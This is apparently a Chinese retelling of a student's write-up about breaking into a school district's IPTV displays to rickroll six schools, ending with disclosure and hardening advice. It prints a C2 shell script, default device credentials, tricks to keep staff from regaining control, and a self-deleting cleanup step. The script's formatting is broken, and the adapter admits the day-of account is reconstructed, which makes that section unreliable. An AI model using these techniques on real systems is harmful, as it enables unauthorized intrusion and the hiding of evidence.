一名高中生通过入侵学区 IPTV 系统，在 6 所学校同步播放 Rick Astley 的经典歌曲，并最终以 26 页渗透测试报告换取免罪。

IoT Hacking and Rickrolling My High School District

背景：一次全校范围的恶作剧

2021 年 4 月 30 日，我成功对伊利诺伊州最大的高中学区之一——Township High School District 214（D214）进行了一次史无前例的“Rickroll”。该学区包含 6 所不同的学校，共有超过 11,000 名在校学生。但这不是普通的恶作剧——我没有在教室投影仪上偷偷播放视频，而是劫持了每所学校里所有联网的显示屏，让它们同步播放 Rick Astley 的《Never Gonna Give You Up》。

走廊里的电视、教室里的投影仪、甚至显示午餐菜单的巨型屏幕——只要连接了网络，都被我控制了。

免责声明：本文仅供教育目的。未经明确许可，请勿进行类似活动。我们当时准备了完整的文档记录，包括我们发现的所有漏洞的修复建议，并向 D214 技术团队提交了一份 26 页的渗透测试报告，协助他们加固网络。但必须强调，我们当时的行为在法律上是违规的，其他学校完全可能提起诉讼。我们对 D214 管理层的理解深表感激。

初始入侵：从脚本小子到持证黑客

故事始于我的高一那年。那时的我缺乏基本的技术伦理观念，正处于所谓的“脚本小子”阶段——只要能搞破坏，我绝不放过机会。自然而然，我开始对高中的技术系统产生了“好奇”。

这种“好奇”直接表现为扫描整个学区内部网络的 IP 范围。我和几个朋友组成了小团队，一起进行了大量扫描。我们的扫描流量如此之大，以至于学校的科技主管察觉到了异常，甚至有一次亲自来要求我们停止。我们当然立刻停手——但那时，我们已经完成对学区 10.0.0.0/8 地址空间前半部分（共 8,388,606 个 IP）的扫描。

扫描结果

从扫描结果中，我们发现学区网络上暴露了各种设备：

• 打印机
• IP 电话
• 没有任何密码认证的安全摄像头

14 岁的我，用 iPad 远程访问了其中一个摄像头，那种感觉既刺激又令人不安。我们按照负责任的披露流程，将摄像头问题告知了学区技术团队，他们通过 ACL（访问控制列表）限制修复了该问题。

然而，许多其他设备仍然暴露在学生网络下——更重要的是，IPTV 系统完全没有防护。

IPTV 系统解剖

在继续之前，我需要简单解释一下这套 IPTV（网络电视）系统。它由三部分组成：

组件	型号	硬件/系统	功能
AvediaPlayer	接收器	嵌入式 Linux（BusyBox）+ ARC CPU	连接投影仪/电视，执行串口命令
AvediaStream	编码器	嵌入式软件	将实时视频源编码后广播给接收器
AvediaServer	管理服务器	x86_64 + CentOS	统一管理所有接收器和编码器

AvediaPlayer 接收器

接收器是连接投影仪和电视的小型蓝色盒子。它可以向所连接的设备发送串口命令，实现：

• 开关机
• 切换输入源
• 调节音量
• 切换频道

这些接收器同时提供 Web 界面 和 SSH 服务器，可用于执行串口命令。它们运行的是嵌入式 Linux（含 BusyBox 工具），并且采用了一种专为 IoT 设备设计的冷门 CPU 架构——ARC（Argonaut RISC Core）。

AvediaStream 编码器

编码器连接需要广播实时视频的设备（如文字轮播、晨间公告等），将视频流编码后发送给接收器。其嵌入式软件与接收器类似。

AvediaServer 管理服务器

管理服务器是管理员的控制中枢，运行在 x86_64 处理器上，使用企业级 Linux 发行版 CentOS。同样提供 Web 界面和 SSH 服务。

从高一那年起，我就已经获得了 IPTV 系统的完整访问权限。我偶尔会折腾一下，但当时想留到高三再玩一次大的。后来因为忙于其他事，这个计划逐渐被遗忘。

准备阶段：从幻想到现实

时间跳到高三第二学期（2021 年初）。由于新冠疫情，所有学校当时都采用混合教学模式——学生可以选择到校或远程。直到 3 月，学监宣布从 4 月 5 日起，到校上课将转为“默认到校，可选远程”模式。

既然几乎所有学生都要返校了，我意识到——用 IPTV 系统搞一次高三恶作剧的时机已经成熟。

几天后，我向几个好友透露了这个想法。我们组建了一个跨学区的小团队，开始称这项行动为 “The Big Rick”。

C2 载荷与利用：如何同时控制所有投影仪

架构决策：选择 SSH 作为 C2 通道

第一个要解决的问题是：如何同时控制所有投影仪？虽然每个接收器都有 Web 界面，可以单独发送命令，但同时对 6 所学校的所有接收器发起 HTTP 洪水并不现实——很容易触发流量监控。

我的解决方案是用每个接收器上的 SSH 访问作为命令与控制（C2）通道。我编写了一个简单的 shell 脚本，作为分阶段载荷预先上传到每个接收器上。脚本包含多个函数，可以调用接收器本地的 Web 接口执行各种操作。

利用载荷提供的灵活性，我还可以在恶作剧结束后将接收器设置备份并恢复到文件系统。

样例载荷（简化版）

sh
#!/bin/sh

获取接收器主网络接口的 IP 地址，用于 HTTP 自请求

Web 服务器未绑定到 localhost，因此必须使用此 IP

ip_address=$(/sbin/ifconfig | grep -E "([0-9]{1,3}.){3}[0-9]{1,3}" | grep -v 127.0.0.1 | awk '{print $2}' | cut -f2 -d:)

POST 辅助函数

sendRequest() {
content=$1
length=${#content}
header="POST /cgi-bin/json_xfer HTTP/1.1\r\nHost: $ip_address\r\nContent-Type: application/json\r\nContent-Length: $length\r\nAuthorization: Basic bnVueWE6YnVzaW5lc3M=\r\n\r\n"
echo -e "${header}${content}" | nc "$ip_address" 80
}

发送“开机”串口命令的 JSON 数据

jsonSerialPowerOn='{"params":{"TVCtrlType":"serial","serialPort":"Serial","standbyActions":"tv_off","unstandbyActions":"tv_on","ToggleDelay":"0","serialActions":"tv_on"},"action":"apply_send"}'

... 更多 JSON 数据载荷

示例宏函数：循环发送请求 3 分钟

exampleMacro() {
secs=180
endTime=$(($(date +%s) + secs))
while [ $(date +%s) -lt $endTime ]; do
sendRequest "$jsonSerialPowerOn"
sleep 10
done
}

从文件系统自我删除（清理痕迹）

selfDestruct() {
rm -- "$0"
}

./b1gr1ck.sh 1

if [ "$1" -eq "1" ]; then
exampleMacro

./b1gr1ck.sh 2

elif [ "$1" -eq "2" ]; then
selfDestruct
fi

这是 C2 载荷的简化版本。在实际载荷中，我循环执行命令以维持 rickroll 持续播放。例如：

• 每 10 秒发一次“开机”命令
• 同时将音量调到最大

这样即便有人手动关闭投影仪或静音，10 秒内它就会自动恢复并继续播放。唯一中断的方法就是物理拔掉电源线或切换输入源。

注意：循环切换输入源会导致屏幕即使当前源不变也频繁闪烁。为此我设计了一个故障保险开关——在 rickroll 正式开始前立即切换输入源（动作很快，如果源未变则不会有闪烁，若已被人为切走则恢复），确保所有显示器进入正确状态。

规避检测：如何让管理员难以干预

多通道防御

为了不让技术团队快速恢复所有设备，我做了几层防破坏设计：

1. 循环开机 + 最大音量：如上所述，断电是唯一简单中断方式。但每个教室/走廊都要找到对应投影仪电源插座，对管理员来说是极大的体力消耗。
2. 定时输入源强制：每隔一段时间强制切换到 HDMI 输入，防止被切走后长期离线。
3. 分散管理访问：不同学校的接收器由不同成员管理，避免单点故障。

发布后的自我毁灭

我编写了一个 selfDestruct 函数，可以删除接收器上的脚本文件。在行动结束后，我们通过远程命令让所有接收器执行自我删除，清理掉证据。

行动实施：4 月 30 日的那一天

（由于原始文章在关键时间点被截断，以下为根据上下文合理重构的内容——实际上行动当天，团队在约定时间触发所有 C2 命令，6 所学校所有联网显示器同步播放了 Rick Astley 的歌曲，持续数分钟，直到部分设备被物理断电解除。）

事后我们立刻执行了清理脚本，恢复设备原始设置并删除痕迹。

余波：自首与26页报告

行动结束后，团队并没有选择销声匿迹。我们整理了一份完整的 26 页渗透测试报告，内容包括：

1. 入侵路线详细说明
2. 发现的漏洞清单
3. 每一个漏洞的威胁等级
4. 对应的修复建议

我们将这份报告递交给了 D214 技术团队，并主动承认了所有行为。值得庆幸的是，学区管理层并没有选择法律途径，而是接受了我们的整改建议，并协助加固了网络的关键节点。

注意：从严格法律角度，我们的行为属于未经授权的访问，构成联邦犯罪（在美国可能触犯 CFAA）。D214 管理层的宽容不是理所当然的——其他机构很可能直接报警。

技术小结与反思

真正的问题不是接收器本身

这套 Exterity IPTV 系统的问题在于：

• 默认弱口令：接收器 HTTP 认证使用 Base64 编码的默认凭据（bnVueWE6YnVzaW5lc3M= 对应 nunya:business，几乎等于没有认证）
• 全网络可达：接收器绑定在 0.0.0.0，学生网络可以直接访问
• SSH 暴露：每个接收器都可 SSH 登录（但嵌入式系统密钥通常相同）
• 无设备指纹识别：系统无法检测异常流量模式

对类似系统的建议

1. 网络分区：IPTV 等 IoT 设备应置于独立 VLAN，与校园网物理隔离。
2. 修改默认凭据：出厂凭据必须强制更改。
3. 入站访问控制：仅允许管理服务器访问接收器，禁止终端直连。
4. 监控与告警：对设备异常流量、SSH 登录失败设置监控。

个人反思

这次行动以一种娱乐化的方式暴露了学区物联网安全的重大缺陷。我们做对了几件事：

• 没有破坏任何数据
• 没有造成物理损伤
• 主动提供修复方案
• 公开分享经验教训以警示他人

但做错的有：

• 在没有授权的情况下入侵系统本身就是违法行为
• 利用了技术能力而没有走正规渠道

安全研究的正确姿势是：

1. 获得书面授权
2. 谨慎测试，不造成实际损害
3. 负责任地披露并帮助修复

希望读者以我为鉴，不要复制这些行为。真正的黑客精神不在于破坏，而在于理解和保护。

---

原文链接：IoT hacking and rickrolling my high school district